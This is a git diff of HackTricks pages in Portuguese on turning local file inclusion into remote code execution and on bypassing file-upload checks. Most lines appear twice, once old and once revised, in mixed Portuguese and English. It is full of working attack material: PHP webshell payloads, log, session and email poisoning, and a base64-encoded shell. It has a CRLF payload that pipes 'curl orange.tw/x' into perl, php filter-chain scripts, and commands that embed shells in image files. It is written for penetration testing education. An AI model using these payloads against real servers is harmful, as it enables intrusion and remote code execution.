Isto também pode ser feito em outros logs mas **tenha cuidado,** o código dentro dos logs pode estar URL encoded e isso pode destruir o Shell. O header **authorisation "basic"** contém "user:password" em Base64 e ele é decodificado dentro dos logs. O PHPShell could be inserted inside this header.\
Isto também pode ser feito em outros logs, mas **cuidado,** o código dentro dos logs pode estar URL encoded e isso pode destruir a Shell. O header **authorisation "basic"** contém "user:password" em Base64 e isso é decodificado dentro dos logs. A PHPShell pode ser inserida dentro desse header.\
Outros possíveis caminhos de log:
```python
/var/log/apache2/access.log
@ -501,42 +501,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### Via Email
**Enviar um e-mail** para uma conta interna (user@localhost) contendo seu payload em PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e tente incluir o e-mail do usuário com um caminho como **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
**Envie um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e tente incluir o e-mail do usuário usando um caminho como **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
### Via /proc/\*/fd/\*
1. Faça upload de muitos shells (por exemplo: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser brute forced) e $FD o descritor de arquivo (pode ser brute forced também)
1. Faça upload de muitas shells (por exemplo: 100)
2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser brute forced) e $FD o file descriptor (também pode ser brute forced)
### Via /proc/self/environ
Como um arquivo de log, envie o payload no User-Agent, ele será refletido dentro do arquivo /proc/self/environ
Como um arquivo de log, envie o payload no User-Agent; ele será refletido dentro do arquivo /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
Se você puder fazer upload de um arquivo, basta injetar o shell payload nele (por exemplo: `<?php system($_GET['c']); ?>`).
Se você conseguir fazer upload de um arquivo, apenas injete o shell payload nele (e.g : `<?php system($_GET['c']); ?>` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf
Para manter o arquivo legível, é melhor injetar nos metadados das pictures/doc/pdf
### Via upload de arquivo ZIP
### Via upload de arquivo Zip
Faça upload de um arquivo ZIP contendo um PHP shell comprimido e acesse:
Faça upload de um arquivo ZIP contendo um PHP shell compactado e acesse:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via sessões PHP
### Através de sessões PHP
Verifique se o site usa sessão PHP (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
No PHP, essas sessões são armazenadas nos arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_.
No PHP, essas sessões são armazenadas em arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -551,18 +551,18 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
```
### Via ssh
Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\<HOME>/.ssh/id_rsa**
Se ssh estiver ativo verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\<HOME>/.ssh/id_rsa**
### **Via** **vsftpd** _**logs**_
Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que exista uma vulnerabilidade Local File Inclusion (LFI), e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados:
Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que exista uma vulnerabilidade Local File Inclusion (LFI) e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados:
1. Injetar um payload PHP no campo username durante o processo de login.
1. Injete um payload PHP no campo username durante o processo de login.
2. Após a injeção, utilize a LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_.
### Via php base64 filter (using base64)
Como mostrado neste [artigo](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64), o filtro PHP base64 ignora Non-base64. Você pode usar isso para contornar a verificação da extensão de arquivo: se fornecer base64 que termine com ".php", ele simplesmente ignora o "." e anexa "php" ao base64. Aqui está um payload de exemplo:
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -570,7 +570,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (sem arquivo necessário)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **php filters to generate arbitrary content** como saída. O que basicamente significa que você pode **generate arbitrary php code** para o include **without needing to write** em um arquivo.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **php filters para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem precisar escrevê-lo** em um arquivo.
{{#ref}}
@ -579,16 +579,16 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Envie** um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma request,** provoque um **segmentation fault**, e então o **arquivo temporário não será deletado** e você pode procurá-lo.
Upload um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição** provoque um **segmentation fault**, e então o **arquivo temporário não será deletado** e você poderá procurá-lo.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Via Nginx temp file storage
### Via Nginx armazenamento de arquivos temporários
Se você encontrou uma **Local File Inclusion** e o **Nginx** está rodando na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
Se você encontrou uma **Local File Inclusion** e **Nginx** está rodando na frente do PHP, você talvez consiga obter RCE com a seguinte técnica:
{{#ref}}
@ -597,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Se você encontrou uma **Local File Inclusion** mesmo que você **não tenha uma session** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP irá **ativar a session para você**. Você poderia abusar disso para obter RCE:
Se você encontrou uma **Local File Inclusion** mesmo que você **não tenha uma session** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você pode abusar disso para obter RCE:
{{#ref}}
@ -606,7 +606,7 @@ via-php_session_upload_progress.md
### Via temp file uploads in Windows
Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows** você pode obter RCE:
Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows** você pode conseguir RCE:
{{#ref}}
@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão em php docker images. Além disso, é possível passar argumentos para o script via URL porque é indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como argumento. Veja também [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) e [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
O que segue abusa de uma CRLF vuln para obter RCE (a partir de [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
O seguinte abusa de uma CRLF vuln para obter RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Via phpinfo() (file_uploads = on)
Se você encontrou um **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on, você pode obter RCE:
Se você encontrou uma **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on, você pode obter RCE:
{{#ref}}
@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Se você encontrou um **Local File Inclusion** e você **pode exfiltrate the path** do arquivo temporário MAS o **server** está **checking** se o **arquivo a ser incluído tem PHP marks**, você pode tentar contornar essa verificação com esta **Race Condition**:
Se você encontrou uma **Local File Inclusion** e **puder exfiltrar o path** do arquivo temporário MAS o **server** está **checando** se o **arquivo a ser incluído tem PHP marks**, você pode tentar **bypassar essa checagem** com esta **Race Condition**:
{{#ref}}
@ -648,7 +648,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Via eternal waiting + bruteforce
Se você puder abusar do LFI para fazer o upload de arquivos temporários e fazer o servidor **hang** a execução do PHP, você pode então **brute force** nomes de arquivo por horas para encontrar o arquivo temporário:
Se você puder abusar do LFI para **upload temporary files** e fazer o **server** **hang** a execução do PHP, você poderia então **brute force filenames durante horas** para encontrar o arquivo temporário:
{{#ref}}
@ -657,10 +657,10 @@ lfi2rce-via-eternal-waiting.md
### To Fatal Error
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo uma 2 vezes para lançar esse erro).
**Eu não sei como isso é útil, mas pode ser.**\
_Mesmo se você causar um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados._
**Não sei quão útil isso é, mas pode ser.**\
_Mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
@ -673,6 +673,7 @@ _Mesmo se você causar um PHP Fatal Error, os arquivos temporários do PHP envia
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#file}}
EN-Local-File-Inclusion-1.pdf

34
src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
View File

@ -2,36 +2,37 @@
{{#include ../../banners/hacktricks-training.md}}
## Intro
Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem precisar escrevê-lo** em um arquivo.
## Introdução
Basicamente, o objetivo do script é **gerar uma string Base64** no **início** do arquivo que será **finalmente decodificada**, fornecendo a carga útil desejada que será **interpretada por `include`**.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
As bases para fazer isso são:
Basicamente o objetivo do script é **gerar uma string Base64** no **início** do arquivo que será **finalmente decodificada**, fornecendo o payload desejado que será **interpretado por `include`**.
- `convert.iconv.UTF8.CSISO2022KR` sempre irá adicionar `\x1b$)C` à string
- `convert.base64-decode` é extremamente tolerante, basicamente ignorará qualquer caractere que não seja base64 válido. Ele apresenta alguns problemas se encontrar "=" inesperados, mas esses podem ser removidos com o filtro `convert.iconv.UTF8.UTF7`.
Os fundamentos para fazer isso são:
- `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string
- `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64. It gives some problems if it finds unexpected "=" but those can be removed with the `convert.iconv.UTF8.UTF7` filter.
O loop para gerar conteúdo arbitrário é:
1. adicionar `\x1b$)C` à nossa string como descrito acima
2. aplicar uma cadeia de conversões iconv que mantém nosso base64 inicial intacto e converte a parte que acabamos de adicionar para alguma string onde o único caractere base64 válido é a próxima parte do nosso código php codificado em base64
3. base64-decodificar e base64-encodar a string, o que removerá qualquer lixo no meio
4. Voltar ao passo 1 se o base64 que queremos construir ainda não estiver terminado
5. base64-decodificar para obter nosso código php
1. prepend `\x1b$)C` to our string as described above
2. apply some chain of iconv conversions that leaves our initial base64 intact and converts the part we just prepended to some string where the only valid base64 char is the next part of our base64-encoded php code
3. base64-decode and base64-encode the string which will remove any garbage in between
4. Go back to 1 if the base64 we want to construct isn't finished yet
5. base64-decode to get our php code
> [!WARNING]
> **Includes** geralmente fazem coisas como **adicionar ".php" no final** do arquivo, o que pode dificultar a exploração disso porque você precisaria encontrar um arquivo .php com um conteúdo que não quebre a exploração... ou você **poderia apenas usar `php://temp` como recurso** porque pode **ter qualquer coisa adicionada ao nome** (como +".php") e ainda permitirá que a exploração funcione!
> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work!
## Como adicionar também sufixos aos dados resultantes
## Como também adicionar sufixos aos dados resultantes
[**Este writeup explica**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) como você ainda pode abusar dos filtros PHP para adicionar sufixos à string resultante. Isso é ótimo caso você precise que a saída tenha algum formato específico (como json ou talvez adicionando alguns bytes mágicos PNG)
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. This is great in case you need the output to have some specific format (like json or maybe adding some PNG magic bytes)
## Ferramentas Automáticas
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(pode adicionar sufixos)**
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## Script completo
```python
@ -95,7 +96,7 @@ print(r.text)
```
### Melhorias
O script anterior é limitado aos caracteres base64 necessários para aquele payload. Portanto, eu criei meu próprio script para **bruteforçar todos os caracteres base64**:
O script anterior está limitado aos caracteres base64 necessários para esse payload. Portanto, criei meu próprio script para **bruteforce all the base64 characters**:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -253,6 +254,7 @@ find_vals($init);
## Mais Referências
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [A Arte do PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}

238
src/pentesting-web/file-upload/README.md
View File

@ -1,4 +1,4 @@
# File Upload
# Upload de Arquivos
{{#include ../../banners/hacktricks-training.md}}
@ -7,7 +7,7 @@
Outras extensões úteis:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Trabalhando no PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -17,98 +17,98 @@ Outras extensões úteis:
### Bypass file extensions checks
1. Se aplicável, **verifique** as **extensões anteriores.** Teste-as também usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Verifique **adicionando uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_
- _file.png.php_
1. Se aplicável, verifique as extensões anteriores. Teste-as também usando algumas letras maiúsculas: _pHp, .pHP5, .PhAr ..._
2. Verifique **adicionar uma extensão válida antes** da extensão de execução (use as extensões anteriores também):
- _file.png.php_
- _file.png.Php5_
3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os **caracteres ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões** mencionadas anteriormente_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
- _file.php%0d%0a_
- _file.php/_
- _file.php.\\_
- _file._
- _file.php...._
3. Tente adicionar **caracteres especiais no final**. Você pode usar Burp para **bruteforcear** todos os caracteres **ascii** e **Unicode**. (Nota: você também pode tentar usar as **extensões** mencionadas anteriormente)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
- _file.php%0d%0a_
- _file.php/_
- _file.php.\\_
- _file._
- _file.php...._
- _file.pHp5...._
4. Tente contornar as proteções **enganando o analisador de extensões** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (**bytes nulos**) entre as extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
- _file.php%00.png_
- _file.php\x00.png_
- _file.php%0a.png_
- _file.php%0d%0a.png_
4. Tente contornar as proteções **enganando o parser de extensão** do lado do servidor com técnicas como **duplicação** da **extensão** ou **adicionando lixo** (bytes **null**) entre extensões. _Você também pode usar as extensões anteriores para preparar um payload melhor._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
- _file.php%00.png_
- _file.php\x00.png_
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Adicione **outra camada de extensões** à verificação anterior:
- _file.png.jpg.php_
5. Adicione **outra camada de extensões** no teste anterior:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Tente colocar a **extensão exec antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com a extensão **_**.php**_**, mas **não necessariamente terminando em .php** executará código):
6. Tente colocar a **extensão executável antes** da extensão válida e reze para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão **.php**, mas **não necessariamente terminando em .php**, executará código):
- _ex: file.php.png_
7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Nesse caso, um caractere de dois pontos “:” será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, “file.asax:.jpg”). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome de arquivo curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar mais restrições (por exemplo, “file.asp::$data.”)
8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso é deixado. AAA<--SNIP-->AAA.php
7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Neste caso, um caractere de dois pontos ":" será inserido depois de uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (ex.: "file.asax:.jpg”). Esse arquivo pode ser editado mais tarde usando outras técnicas como seu short filename. O padrão "**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere ponto após esse padrão pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data.”)
8. Tente romper os limites de nome de arquivo. A extensão válida é cortada. E o PHP malicioso fica. AAA<--SNIP-->AAA.php
```
# Linux máximo 255 bytes
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicionando .png
# Faça o upload do arquivo e verifique a resposta quantos caracteres ele permite. Vamos supor 236
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Faça o payload
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
### Bypass Content-Type, Magic Number, Compression & Resizing
- Contorne as verificações de **Content-Type** definindo o **valor** do **cabeçalho Content-Type** para: _image/png_, _text/plain_, application/octet-stream_
1. Lista de palavras do Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Contorne a verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confunda o comando _file_). Ou introduza o shell dentro dos **metadados**:\
- Bypass checks de **Content-Type** definindo o **valor** do cabeçalho **Content-Type** para: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass de verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ou você também pode **introduzir o payload diretamente** em uma imagem:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Se **compressões estão sendo adicionadas à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar a **técnica do chunk PLTE** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- A página da web também pode estar **redimensionando** a **imagem**, usando, por exemplo, as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar a **técnica do chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar a **técnica do chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- Se **compressão** estiver sendo aplicada à sua imagem, por exemplo usando algumas bibliotecas padrão do PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o chunk **PLTE** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- A página web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. Porém, você pode usar o chunk **IDAT** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. Contudo, você pode usar o chunk **tEXt** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
- Encontre uma vulnerabilidade para **renomear** o arquivo já enviado (para mudar a extensão).
- Encontre uma vulnerabilidade de **Inclusão de Arquivo Local** para executar o backdoor.
- Encontre uma vulnerabilidade para **renomear** o arquivo já enviado (para alterar a extensão).
- Encontre uma vulnerabilidade de **Local File Inclusion** para executar o backdoor.
- **Possível divulgação de informações**:
1. Faça o upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
2. Faça o upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
3. Faça o upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
4. Faça o upload de um arquivo que pode não ser facilmente excluído, como **“…:.jpg”** no **NTFS**. (Windows)
5. Faça o upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows)
6. Faça o upload de um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
- Tente também **fazer o upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
1. Faça upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
2. Faça upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já exista**
3. Fazer upload de um arquivo com **"." , "..” ou "…” como nome**. Por exemplo, no Apache em **Windows**, se a aplicação salvar os uploads em "/www/uploads/" a filename "." criará um arquivo chamado "uploads" em "/www/".
4. Faça upload de um arquivo que não possa ser deletado facilmente, como **"…:.jpg”** em **NTFS**. (Windows)
5. Faça upload de um arquivo no **Windows** com caracteres inválidos como `|<>*?”` no nome. (Windows)
